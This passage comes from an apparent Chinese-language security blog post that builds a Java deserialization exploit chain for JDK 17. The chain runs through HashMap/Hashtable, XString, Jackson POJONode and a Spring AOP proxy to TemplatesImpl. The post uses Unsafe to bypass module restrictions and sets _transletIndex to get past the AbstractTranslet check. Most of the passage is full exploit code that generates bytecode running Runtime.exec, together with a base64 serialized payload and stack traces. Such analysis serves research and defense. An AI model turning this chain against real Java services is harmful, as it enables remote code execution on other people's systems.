1bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3EAfgAPTAAFX25hbWV0ABJMamF2YS9sYW5nL1N0cmluZztMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAAAAAAAdXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAACdXIAAltCrPMX+AYIVOACAAB4cAAAArvK/rq+AAAAMgAsAQAEVGVzdAcAAQEAEGphdmEvbGFuZy9PYmplY3QHAAMBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEABkxUZXN0OwwABQAGCgAEAAwBAANwcnQBABBqYXZhL2xhbmcvU3lzdGVtBwAPAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07DAARABIJABAAEwEABGRhdGEBABJMamF2YS9sYW5nL1N0cmluZzsMABUAFgkAAgAXAQATamF2YS9pby9QcmludFN0cmVhbQcAGQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYMABsAHAoAGgAdAQAIPGNsaW5pdD4BAEUqKioqKioqKioqKioqKioqKioqKioqKioqKiBleHBsb2l0IHN1Y2Nlc3MgKioqKioqKioqKioqKioqKioqKioqKioqKioIACAMAA4ABgoAAgAiAQAKU291cmNlRmlsZQEAC0V4cE9iai5qYXZhAQAMSW5uZXJDbGFzc2VzAQAYamF2YS91dGlsL0Jhc2U2NCREZWNvZGVyBwAnAQAQamF2YS91dGlsL0Jhc2U2NAcAKQEAB0RlY29kZXIAIQACAAQAAAABAAoAFQAWAAAAAwABAAUABgABAAcAAAAvAAEAAQAAAAUqtwANsQAAAAIACAAAAAYAAQAAABYACQAAAAwAAQAAAAUACgALAAAACgAOAAYAAQAHAAAAJgACAAAAAAAKsgAUsgAYtgAesQAAAAEACAAAAAoAAgAAAJgACQCZAAgAHwAGAAEABwAAABYAAQAAAAAAChMAIbMAGLgAI7EAAAAAAAIAJAAAAAIAJQAmAAAACgABACgAKgArAAl1cQB+ACcAAACayv66vgAAADcADAEABVRlc3QyBwABAQAQamF2YS9sYW5nL09iamVjdAcAAwEAClNvdXJjZUZpbGUBAApUZXN0Mi5qYXZhAQAGPGluaXQ+AQADKClWDAAHAAgKAAQACQEABENvZGUAIQACAAQAAAAAAAEAAQAHAAgAAQALAAAAEQABAAEAAAAFKrcACrEAAAAAAAEABQAAAAIABnB0AAR0ZXN0cHcBAHh1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAARxAH4AHXZyACNvcmcuc3ByaW5nZnJhbWV3b3JrLmFvcC5TcHJpbmdQcm94eQAAAAAAAAAAAAAAeHB2cgApb3JnLnNwcmluZ2ZyYW1ld29yay5hb3AuZnJhbWV3b3JrLkFkdmlzZWQAAAAAAAAAAAAAAHhwdnIAKG9yZy5zcHJpbmdmcmFtZXdvcmsuY29yZS5EZWNvcmF0aW5nUHJveHkAAAAAAAAAAAAAAHhwdAACYkJzcgAxY29tLnN1bi5vcmcuYXBhY2hlLnhwYXRoLmludGVybmFsLm9iamVjdHMuWFN0cmluZxwKJztIFsX9AgAAeHIAMWNvbS5zdW4ub3JnLmFwYWNoZS54cGF0aC5pbnRlcm5hbC5vYmplY3RzLlhPYmplY3T0mBIJu3u2GQIAAUwABW1fb2JqcQB+AAV4cgAsY29tLnN1bi5vcmcuYXBhY2hlLnhwYXRoLmludGVybmFsLkV4cHJlc3Npb24H2aYcjays1gIAAUwACG1fcGFyZW50dAAyTGNvbS9zdW4vb3JnL2FwYWNoZS94cGF0aC9pbnRlcm5hbC9FeHByZXNzaW9uTm9kZTt4cHB0AAB4c3IAEWphdmEubGFuZy5JbnRlZ2VyEuKgpPeBhzgCAAFJAAV2YWx1ZXhyABBqYXZhLmxhbmcuTnVtYmVyhqyVHQuU4IsCAAB4cAAAAAFzcQB+AAA/QAAAAAAADHcIAAAAEAAAAAJxAH4AA3EAfgA4cQB+ADNxAH4ACHhxAH4APHg=";
            byte[] data = Base64.getDecoder().decode(base64Data);
    
            ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(data));
            Object obj = ois.readObject();
            ois.close();
        }
    }
    

    关键调用栈如下:

    getOutputProperties:608, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
    invoke0:-1, NativeMethodAccessorImpl (jdk.internal.reflect)
    invoke:77, NativeMethodAccessorImpl (jdk.internal.reflect)
    invoke:43, DelegatingMethodAccessorImpl (jdk.internal.reflect)
    invoke:568, Method (java.lang.reflect)
    invokeJoinpointUsingReflection:344, AopUtils (org.springframework.aop.support)
    invoke:208, JdkDynamicAopProxy (org.springframework.aop.framework)
    getOutputProperties:-1, $Proxy0 (jdk.proxy1)
    invoke0:-1, NativeMethodAccessorImpl (jdk.internal.reflect)
    invoke:77, NativeMethodAccessorImpl (jdk.internal.reflect)
    invoke:43, DelegatingMethodAccessorImpl (jdk.internal.reflect)
    invoke:568, Method (java.lang.reflect)
    serializeAsField:689, BeanPropertyWriter (com.fasterxml.jackson.databind.ser)
    serializeFields:774, BeanSerializerBase (com.fasterxml.jackson.databind.ser.std)
    serialize:178, BeanSerializer (com.fasterxml.jackson.databind.ser)
    defaultSerializeValue:1142, SerializerProvider (com.fasterxml.jackson.databind)
    serialize:115, POJONode (com.fasterxml.jackson.databind.node)
    serialize:39, SerializableSerializer (com.fasterxml.jackson.databind.ser.std)
    serialize:20, SerializableSerializer (com.fasterxml.jackson.databind.ser.std)
    _serialize:480, DefaultSerializerProvider (com.fasterxml.jackson.databind.ser)
    serializeValue:319, DefaultSerializerProvider (com.fasterxml.jackson.databind.ser)
    serialize:1518, ObjectWriter$Prefetch (com.fasterxml.jackson.databind)
    _writeValueAndClose:1219, ObjectWriter (com.fasterxml.jackson.databind)
    writeValueAsString:1086, ObjectWriter (com.fasterxml.jackson.databind)
    nodeToString:30, InternalNodeMapper (com.fasterxml.jackson.databind.node)
    toString:136, BaseJsonNode (com.fasterxml.jackson.databind.node)
    equals:391, XString (com.sun.org.apache.xpath.internal.objects)
    equals:492, AbstractMap (java.util)
    putVal:633, HashMap (java.util)
    readObject:1553, HashMap (java.util)
    

    可以看出来起点是HashMap+XString调用toString,这里需要注意一个点,我们前面链子中都是用的BadAttributeValueExpException作为入口点,但是在jdk17这里修改了这个类的readObject()方法:

    图片.png

    导致无法在反序列化时调用到toString()方法,所以需要找另外的入口,这里用的HasdhMap+XString就不多说了,非常常见了。

    然后根据调用栈来看过程,看起来其实很像之前学过的jackson链不稳定性解决方法的链子,是直接打的动态加载字节码,从而rce。

    高版本的加载字节码的限制以及拓展利用

    从零分析

    我们这里从零开始分析一下jdk17下的"原"TemplatesImpl的rce方法的,基本思路和我们前面学习的动态加载字节码的过程是一样的,可以构造代码如下:

    import javassist.*;
    import sun.misc.Unsafe;
    import java.lang.reflect.Constructor;
    import java.lang.reflect.Field;
    import java.lang.reflect.Method;
    
    public class Main {
        public static void main(String[] args) throws Exception {
            patchModule(Main.class);
            Class needClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
    
            ClassPool classPool = ClassPool.getDefault();
            classPool.insertClassPath(new ClassClassPath(needClass));
            CtClass cc = classPool.makeClass("Evil");
            String cmd = "java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");";
            cc.makeClassInitializer().insertBefore(cmd);
            cc.setSuperclass(classPool.get(needClass.getName()));
            byte[] classBytes = cc.toBytecode();
            byte[][] code = new byte[][]{classBytes};
    
            Class clazz = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
    
            Object impl = getObject(clazz);
    
            setFieldValue(impl,"_name","fupanc");
            setFieldValue(impl, "_tfactory", getObject(Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl")));
            setFieldValue(impl,"_bytecodes",code);
    
            Method method = clazz.getDeclaredMethod("newTransformer");
            method.setAccessible(true);
            method.invoke(impl);
    
        }
        private static void patchModule(Class clazz) throws Exception {
            Field field = Unsafe.class.getDeclaredField("theUnsafe");
            field.setAccessible(true);
            Unsafe unsafe = (Unsafe) field.get(null);
    
            long offset = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
    
            Module targetModule = Object.class.getModule();
            unsafe.getAndSetObject(clazz, offset,targetModule);
        }
        private static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
            final Field field = obj.getClass().getDeclaredField(fieldName);
            field.setAccessible(true);
            field.set(obj, value);
        }
    
        private static Object getObject(Class clazz) throws Exception{
            Constructor constructor = clazz.getConstructor();
            constructor.setAccessible(true);
            Object impl = constructor.newInstance();
            return impl;
        }
    }
    

    在这里的代码,通过修改当前运行文件的module位置,来获取到要利用的类的构造函数以及一些方法,达到成功创建TemplatesImpl类以及调用其newTransformer()方法的目的,但是运行报错:

    Caused by: javax.xml.transform.TransformerConfigurationException: 已加载 Translet 类, 但无法创建 translet 实例。
        at java.xml/com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.defineTransletClasses(TemplatesImpl.java:540)
        at java.xml/com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getTransletInstance(TemplatesImpl.java:554)
        at java.xml/com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer(TemplatesImpl.java:587)
        ... 5 more
    Caused by: java.lang.IllegalAccessError: superclass access check failed: class Evil (in unnamed module @0x3701eaf6) cannot access class com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet (in module java.xml) because module java.xml does not export com.sun.org.apache.xalan.internal.xsltc.runtime to unnamed module @0x3701eaf6
        at java.base/java.lang.ClassLoader.defineClass1(Native Method)
        at java.base/java.lang.ClassLoader.defineClass(ClassLoader.java:1017)
        at java.xml/com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl$TransletClassLoader.defineClass(TemplatesImpl.java:207)
        at java.xml/com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.defineTransletClasses(TemplatesImpl.java:517)
        ... 7 more
    

    看这里的报错,非常重要的原因如下:

    superclass access check failed: class Evil (in unnamed module @0x3701eaf6) cannot access class com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet (in module java.xml) because module java.xml does not export com.sun.org.apache.xalan.internal.xsltc.runtime to unnamed module @0x3701eaf6
    

    模块化机制的原因,调试一下过程,在如下部分代码运行错误:

    图片.png

    这一部分后就会报错退出,原因如上,其实仔细想想这里的过程,确实是虽然我们正常调用了对应的方法并且设置了正确的要求,但是这里的defineClass在定义类的时候,要求的父类AbstractTranslet所处的java.xml模块位置与我们使用javassist生成的Evil类所处的未命名模块位置确实是不同的,由于模块化机制的限制,那么这里是无法成功设置父类并且因违反既定规则导致直接报错退出。

    那么如何解决呢,我们是否可以尝试将这个使用javassist生成的Evil类所处的模块位置改成java.xml呢?简单想想本来是以为通过如下代码构造的:

    Class clazz0 = cc.toClass();
    patchModule1(clazz0);
    .
    .
    .
    private static void patchModule1(Class clazz) throws Exception {
            Field field = Unsafe.class.getDeclaredField("theUnsafe");
            field.setAccessible(true);
            Unsafe unsafe = (Unsafe) field.get(null);
    
            long offset = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
    
            Module targetModule = Class.forName("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet").getModule();
            unsafe.getAndSetObject(clazz, offset,targetModule);
        }
    

    将生成的CtClass转换成Class对象,然后再自定义一个patchModule1()方法将Class对象的module位置改成java.xml,然后再尝试生成byteCode用于defineClass()的加载,但是并没有成功,真正说来其实在如下代码就会报错:

    Class needClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
    
            ClassPool classPool = ClassPool.getDefault();
            classPool.insertClassPath(new ClassClassPath(needClass));
            CtClass cc = classPool.makeClass("Evil");
            String cmd = "java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");";
            cc.makeClassInitializer().insertBefore(cmd);
            cc.setSuperclass(classPool.get(needClass.getName()));
            byte[] classBytes = cc.toBytecode();
            byte[][] code = new byte[][]{classBytes};
    
            Class clazz0 = cc.toClass();
    

    报错内容如下:

    Exception in thread "main" java.lang.reflect.InaccessibleObjectException: Unable to make protected final java.lang.Class java.lang.ClassLoader.defineClass(java.lang.String,byte[],int,int,java.security.ProtectionDomain) throws java.lang.ClassFormatError accessible: module java.base does not "opens java.lang" to unnamed module @673bfdf3
        at java.base/java.lang.reflect.AccessibleObject.checkCanSetAccessible(AccessibleObject.java:354)
        at java.base/java.lang.reflect.AccessibleObject.checkCanSetAccessible(AccessibleObject.java:297)
        at java.base/java.lang.reflect.Method.checkCanSetAccessible(Method.java:199)
        at java.base/java.lang.reflect.Method.setAccessible(Method.java:193)
        at javassist.util.proxy.SecurityActions.setAccessible(SecurityActions.java:159)
        at javassist.util.proxy.DefineClassHelper$JavaOther.defineClass(DefineClassHelper.java:213)
        at javassist.util.proxy.DefineClassHelper$Java11.defineClass(DefineClassHelper.java:52)
        at javassist.util.proxy.DefineClassHelper.toClass(DefineClassHelper.java:260)
        at javassist.ClassPool.toClass(ClassPool.java:1240)
        at javassist.ClassPool.toClass(ClassPool.java:1098)
        at javassist.ClassPool.toClass(ClassPool.java:1056)
        at javassist.CtClass.toClass(CtClass.java:1298)
        at Main.main(Main.java:21)
    

    很容易看出是调用toClass()时报错,一直跟进,可以知道这里的实质其实也是会调用defineClass来生成Class对象,所以还是会在生成Class对象时由于模块化机制直接报错退出。

    这样看起来原来的利用的路是堵死了,但是还是可以绕过达到利用。

    绕过高版本限制再次利用

    在如下文章提到的利用方法还是比较有意思,而且在低版本应该也是同样可以使用的:

    https://whoopsunix.com/docs/PPPYSO/advance/TemplatesImpl/

    文章中就提到了如何去除 AbstractTranslet 限制,而正好在前面的分析中,我么就是卡在了父类AbstractTranslet的设置中。

    思路非常好,也加深了自己对于代码的理解,确实是之前没想到的。

    在前面的基本的利用中,真正用于实例化出发的点在于如下:

    图片.png

    这里通过defineTransletClasses()来给_class赋值,然后在后面获取构造器并实例化从而完成一次利用。这里有一个非常关键的变量:_transletIndex,并且是在defineTransletClasses()中有处理的:

    其中_class_bytecodes中的数组个数相关:

    图片.png

    后面关键的代码如下:

    图片.png

    可以看到这里是调用的for循环来遍历_bytecodes变量并将其赋值给_class数组中,如果满足对应的下表加载出来的Class对象的父类是AbstractTranslet类,那么就会将这里的变量_transletIndex赋值为i,也就是当时遍历对应的下标,在我们最初的加载字节码的过程中,就是将_bytecodes赋值为我们构造好了的byteCode,从而这里for循环的i就会是0从而可以防止满足_transletIndex<0而报错退出,还可以满足前面的getTransletInstance()方法中的_class[0].getConstructor().newInstance()从而完成一次完整过程的利用。这也是前面利用的核心。

    但是正如前面所说,要想正常使_transletIndex的值改变,必须满足加载的Class对象的父类为AbstractTranslet,而高版本是无法实现的。再仔细想想前面的流程,最关键的是什么,_transletIndex变量,为什么要满足父类为AbstractTranslet,就是为了让_transletIndex的值变化,我们来关注一下这个变量的实现:

    图片.png

    默认值为-1,但是我们可以反射修改。而当父类不是AbstractTranslet会发生什么呢:

    图片.png

    _auxClasses中放入键值对,并且defineTransletClasses()方法的前面逻辑也是体现了赋值情况:

    图片.png

    所以其实我们只需要给_bytecodes赋两个byte数组即可,并且控制_transletIndex为合适的下标以匹配defineClass加载后放入到_class数组中的我们自定义的恶意的Class对象(注意还有个防止<0直接报错退出的条件)。

    再次尝试构造代码如下:

    import javassist.*;
    import sun.misc.Unsafe;
    import java.lang.reflect.Constructor;
    import java.lang.reflect.Field;
    import java.lang.reflect.Method;
    
    public class Main {
        public static void main(String[] args) throws Exception {
            patchModule(Main.class);
    
            //part1
            ClassPool classPool = ClassPool.getDefault();
            CtClass cc = classPool.makeClass("Evil");
            String cmd = "java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");";
            cc.makeClassInitializer().insertBefore(cmd);
    
            byte[] classBytes = cc.toBytecode();
            //part2
            CtClass cc1 = classPool.makeClass("Evil1");
            cc1.makeClassInitializer().insertBefore(cmd);
    
            byte[] classBytes1 = cc1.toBytecode();
    
            byte[][] code = new byte[][]{classBytes,classBytes1};
    
            //main
            Class clazz = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
            Object impl = getObject(clazz);
    
            setFieldValue(impl,"_name","fupanc");
            setFieldValue(impl, "_tfactory", getObject(Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl")));
            setFieldValue(impl,"_bytecodes",code);
            setFieldValue(impl,"_transletIndex",0);//0或者1都可以
    
            Method method = clazz.getDeclaredMethod("newTransformer");
            method.setAccessible(true);
            method.invoke(impl);
        }
        private static void patchModule(Class clazz) throws Exception {
            Field field = Unsafe.class.getDeclaredField("theUnsafe");
            field.setAccessible(true);
            Unsafe unsafe = (Unsafe) field.get(null);
    
            long offset = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
    
            Module targetModule = Object.class.getModule();
            unsafe.getAndSetObject(clazz, offset,targetModule);
        }
    
        private static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
            final Field field = obj.getClass().getDeclaredField(fieldName);
            field.setAccessible(true);
            field.set(obj, value);
        }
    
        private static Object getObject(Class clazz) throws Exception{
            Constructor constructor = clazz.getConstructor();
            constructor.setAccessible(true);
            Object impl = constructor.newInstance();
            return impl;
        }
    }
    

    运行弹出计算机,成功构造。

    还有个老生常谈的,可以不设置_tfactory,因为TemplatesImpl的readObject()方法是有直接给这个赋值为需要的类实例的。

    反序列化调用链分析

    经过前面的分析,可以尝试构造代码如下:

    import javassist.*;
    import sun.misc.Unsafe;
    import java.lang.reflect.Constructor;
    import java.lang.reflect.Field;
    import java.util.HashMap;
    import java.util.Hashtable;
    import java.io.FileInputStream;
    import java.io.FileOutputStream;
    import java.io.ObjectInputStream;
    import java.io.ObjectOutputStream;
    
    import com.fasterxml.jackson.databind.node.POJONode;
    
    public class Main {
        public static void main(String[] args) throws Exception {
            patchModule(Main.class);
            //part1
            ClassPool classPool = ClassPool.getDefault();
            CtClass cc = classPool.makeClass("Evil");
            String cmd = "java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");";
            cc.makeClassInitializer().insertBefore(cmd);
    
            byte[] classBytes = cc.toBytecode();
            //part2
            CtClass cc1 = classPool.makeClass("Evil1");
            cc1.makeClassInitializer().insertBefore(cmd);
    
            byte[] classBytes1 = cc1.toBytecode();
    
            byte[][] code = new byte[][]{classBytes,classBytes1};
    
            //main
            Class clazz = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
            Object impl = getObject(clazz);
    
            setFieldValue(impl,"_name","fupanc");
    //        setFieldValue(impl, "_tfactory", getObject(Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl")));
            setFieldValue(impl,"_bytecodes",code);
            setFieldValue(impl,"_transletIndex",0);//0或者1都可以
    
            //修改类方法
            CtClass ctClass = classPool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
            ctClass.removeMethod(ctClass.getDeclaredMethod("writeReplace"));
    
            POJONode node = new POJONode(impl);
    
            //获取XString类实例
            Class clazz123 = Class.forName("com.sun.org.apache.xpath.internal.objects.XString");
            Constructor constructor123 = clazz123.getConstructor(String.class);
            constructor123.setAccessible(true);
            Object xString = constructor123.newInstance("fupanc");
    
            Hashtable hash = new Hashtable();
    
            HashMap hashMap0 = new HashMap();
            hashMap0.put("zZ",xString);
            hashMap0.put("yy",node);
    
            HashMap hashMap1 = new HashMap();
            hashMap1.put("zZ",node);
            hashMap1.put("yy",xString);
    
            hash.put(hashMap0,"1");
            hash.put(hashMap1,"2");
    
        }
        private static void patchModule(Class clazz) throws Exception {
            Field field = Unsafe.class.getDeclaredField("theUnsafe");
            field.setAccessible(true);
            Unsafe unsafe = (Unsafe) field.get(null);
    
            long offset = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
    
            Module targetModule = Object.class.getModule();
            unsafe.getAndSetObject(clazz, offset,targetModule);
        }
    
        private static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
            final Field field = obj.getClass().getDeclaredField(fieldName);
            field.setAccessible(true);
            field.set(obj, value);
        }
    
        private static Object getObject(Class clazz) throws Exception{
            Constructor constructor = clazz.getConstructor();
            constructor.setAccessible(true);
            Object impl = constructor.newInstance();
            return impl;
        }
    }
    

    按照预期这样就可以在Hashtable的第二个put中成功弹出计算机,但是运行报错如下:

    Exception in thread "main" java.lang.RuntimeException: com.fasterxml.jackson.databind.exc.InvalidDefinitionException: Invalid type definition for type `com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl`: Failed to construct BeanSerializer for [simple type, class com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl]: (java.lang.IllegalArgumentException) Failed to call `setAccess()` on Method 'getOutputProperties' (of class `com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl`) due to `java.lang.reflect.InaccessibleObjectException`, problem: Unable to make public synchronized java.util.Properties com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties() accessible: module java.xml does not "exports com.sun.org.apache.xalan.internal.xsltc.trax" to unnamed module @673bfdf3
        at com.fasterxml.jackson.databind.node.InternalNodeMapper.nodeToString(InternalNodeMapper.java:32)
        at com.fasterxml.jackson.databind.node.BaseJsonNode.toString(BaseJsonNode.java:136)
        at java.xml/com.sun.org.apache.xpath.internal.objects.XString.equals(XString.java:391)
        at java.base/java.util.AbstractMap.equals(AbstractMap.java:492)
        at java.base/java.util.Hashtable.put(Hashtable.java:486)
        at Main.main(Main.java:64)
        等
    

    从报错看链子应该是对的,但还是因为模块化机制的原因,导致不能正常调用,这里先看一段代码:

    POJONode node = new POJONode(impl);
    System.out.println("POJONode的:"+node.getClass().getModule());
    System.out.println("jdk的:"+Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getModule());
    

    输出为:

    POJONode的:unnamed module @673bfdf3
    jdk的:unnamed module @673bfdf3
    

    也就是说至少这里加的jackson和spring-aop第三方依赖是没有module-info.java,也就是没有强封装设置,只存在于jdk中,这也就是链子能Hashtable->XString->POJONode调用下去的原因。

    再看报错,可以知道大概是因为给TemplatesImpl设置”序列化器“时报错退出,长时间调试分析代码后,发现报错是在如下这段:

    图片.png

    所以这里就是在对TemplatesImpl类中的getOutputProperties()方法进行setAccessible(),很明显jackson是第三方库,所以不会同TemplatesImpl类存在于同一个模块中,就会因为违反模块化机制直接报错退出。

    调用栈如下:

    checkAndFixAccess:996, ClassUtil (com.fasterxml.jackson.databind.util)
    fixAccess:139, AnnotatedMember (com.fasterxml.jackson.databind.introspect)
    fixAccess:440, BeanPropertyWriter (com.fasterxml.jackson.databind.ser)
    build:208, BeanSerializerBuilder (com.fasterxml.jackson.databind.ser)
    constructBeanOrAddOnSerializer:472, BeanSerializerFactory (com.fasterxml.jackson.databind.ser)
    findBeanOrAddOnSerializer:294, BeanSerializerFactory (com.fasterxml.jackson.databind.ser)
    _createSerializer2:239, BeanSerializerFactory (com.fasterxml.jackson.databind.ser)
    createSerializer:173, BeanSerializerFactory (com.fasterxml.jackson.databind.ser)
    _createUntypedSerializer:1495, SerializerProvider (com.fasterxml.jackson.databind)
    _createAndCacheUntypedSerializer:1443, SerializerProvider (com.fasterxml.jackson.databind)
    findValueSerializer:544, SerializerProvider (com.fasterxml.jackson.databind)
    findTypedValueSerializer:822, SerializerProvider (com.fasterxml.jackson.databind)
    defaultSerializeValue:1142, SerializerProvider (com.fasterxml.jackson.databind)
    serialize:115, POJONode (com.fasterxml.jackson.databind.node)
    serialize:39, SerializableSerializer (com.fasterxml.jackson.databind.ser.std)
    serialize:20, SerializableSerializer (com.fasterxml.jackson.databind.ser.std)
    _serialize:480, DefaultSerializerProvider (com.fasterxml.jackson.databind.ser)
    serializeValue:319, DefaultSerializerProvider (com.fasterxml.jackson.databind.ser)
    serialize:1518, ObjectWriter$Prefetch (com.fasterxml.jackson.databind)
    _writeValueAndClose:1219, ObjectWriter (com.fasterxml.jackson.databind)
    writeValueAsString:1086, ObjectWriter (com.fasterxml.jackson.databind)
    nodeToString:30, InternalNodeMapper (com.fasterxml.jackson.databind.node)
    toString:136, BaseJsonNode (com.fasterxml.jackson.databind.node)
    equals:391, XString (com.sun.org.apache.xpath.internal.objects)
    equals:492, AbstractMap (java.util)
    put:486, Hashtable (java.util)
    main:79, Main
    

    那么如何解决呢,我们可以使用如下代码来看一下java.xml模块export了哪些包可以访问:

    import java.lang.module.ModuleDescriptor;
    
    public class Text {
        public static void main(String[] args) {
            // 这里可以换成 "java.base"、"java.sql" 等模块名
            String moduleName = "java.xml";
    
            Module module = ModuleLayer.boot()
                    .findModule(moduleName)
                    .orElseThrow(() -> new RuntimeException("未找到模块: " + moduleName));
    
            ModuleDescriptor descriptor = module.getDescriptor();
    
            System.out.println("======== " + moduleName + " 的 module-info.java ========");
            System.out.println("module " + moduleName + " {");
    
            // exports
            descriptor.exports().forEach(exp -> {
                System.out.print("    exports " + exp.source());
                if (exp.isQualified()) {
                    System.out.print(" to " + exp.targets());
                }
                System.out.println(";");
            });
    
            System.out.println("}");
        }
    }
    

    输出为:

    ======== java.xml 的 module-info.java ========
    module java.xml {
        exports com.sun.org.apache.xpath.internal to [java.xml.crypto];
        exports com.sun.org.apache.xpath.internal.compiler to [java.xml.crypto];
        exports javax.xml.stream.util;
        exports com.sun.org.apache.xml.internal.utils to [java.xml.crypto];
        exports org.w3c.dom.ls;
        exports org.w3c.dom.ranges;
        exports org.w3c.dom.events;
        exports com.sun.org.apache.xpath.internal.functions to [java.xml.crypto];
        exports javax.xml.xpath;
        exports javax.xml.transform;
        exports org.xml.sax;
        exports javax.xml.stream;
        exports javax.xml.stream.events;
        exports org.w3c.dom.traversal;
        exports com.sun.org.apache.xpath.internal.objects to [java.xml.crypto];
        exports javax.xml.catalog;
        exports com.sun.org.apache.xpath.internal.res to [java.xml.crypto];
        exports com.sun.org.apache.xml.internal.dtm to [java.xml.crypto];
        exports javax.xml.datatype;
        exports javax.xml.transform.sax;
        exports javax.xml;
        exports org.xml.sax.ext;
        exports javax.xml.parsers;
        exports javax.xml.validation;
        exports javax.xml.transform.dom;
        exports javax.xml.transform.stream;
        exports org.w3c.dom;
        exports org.w3c.dom.bootstrap;
        exports org.w3c.dom.views;
        exports org.xml.sax.helpers;
        exports javax.xml.transform.stax;
        exports javax.xml.namespace;
    }
    

    其中可以看到一个完全导出的包:javax.xml.transform。这个包下有一个非常重要的并且我们经常使用的类:Templates接口类。

    这个类存在getOutputProperties()方法,基本获取getter方法的流程就看不稳定性解决链子的分析文章即可,那么我们就可以将代码改成如下:

    import javassist.*;
    import org.springframework.aop.framework.AdvisedSupport;
    import sun.misc.Unsafe;
    import java.lang.reflect.Constructor;
    import java.lang.reflect.Field;
    import java.lang.reflect.InvocationHandler;
    import java.lang.reflect.Proxy;
    import java.util.HashMap;
    import java.util.Hashtable;
    import java.io.FileInputStream;
    import java.io.FileOutputStream;
    import java.io.ObjectInputStream;
    import java.io.ObjectOutputStream;
    import com.fasterxml.jackson.databind.node.POJONode;
    import javax.xml.transform.Templates;
    
    public class Main {
        public static void main(String[] args) throws Exception {
            patchModule(Main.class);
            //part1
            ClassPool classPool = ClassPool.getDefault();
            CtClass cc = classPool.makeClass("Evil");
            String cmd = "java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");";
            cc.makeClassInitializer().insertBefore(cmd);
    
            byte[] classBytes = cc.toBytecode();
            //part2
            CtClass cc1 = classPool.makeClass("Evil1");
            cc1.makeClassInitializer().insertBefore(cmd);
    
            byte[] classBytes1 = cc1.toBytecode();
    
            byte[][] code = new byte[][]{classBytes,classBytes1};
    
            //main
            Class clazz = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
            Object impl = getObject(clazz);
    
            setFieldValue(impl,"_name","fupanc");
            setFieldValue(impl, "_tfactory", getObject(Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl")));
            setFieldValue(impl,"_bytecodes",code);
            setFieldValue(impl,"_transletIndex",0);//0或者1都可以
    
            //修改类方法
            CtClass ctClass = classPool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
            ctClass.removeMethod(ctClass.getDeclaredMethod("writeReplace"));
    
            //设置代理
            AdvisedSupport advisedSupport = new AdvisedSupport();
            advisedSupport.setTarget(impl);
            Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getDeclaredConstructor(AdvisedSupport.class);
            constructor.setAccessible(true);
            Object proxyAop = constructor.newInstance(advisedSupport);
            Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Templates.class},(InvocationHandler) proxyAop);
    
            POJONode node = new POJONode(proxy);
    //        System.out.println("POJONode的:"+node.getClass().getModule());
    //        System.out.println("jdk的:"+Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getModule());
    
            //获取XString类实例
            Class clazz123 = Class.forName("com.sun.org.apache.xpath.internal.objects.XString");
            Constructor constructor123 = clazz123.getConstructor(String.class);
            constructor123.setAccessible(true);
            Object xString = constructor123.newInstance("fupanc");
    
            Hashtable hash = new Hashtable();
    
            HashMap hashMap0 = new HashMap();
            hashMap0.put("zZ",xString);
            hashMap0.put("yy",node);
    
            HashMap hashMap1 = new HashMap();
            hashMap1.put("zZ",node);
            hashMap1.put("yy",xString);
    
            hash.put(hashMap0,"1");
            hash.put(hashMap1,"2");
    
        }
        private static void patchModule(Class clazz) throws Exception {
            Field field = Unsafe.class.getDeclaredField("theUnsafe");
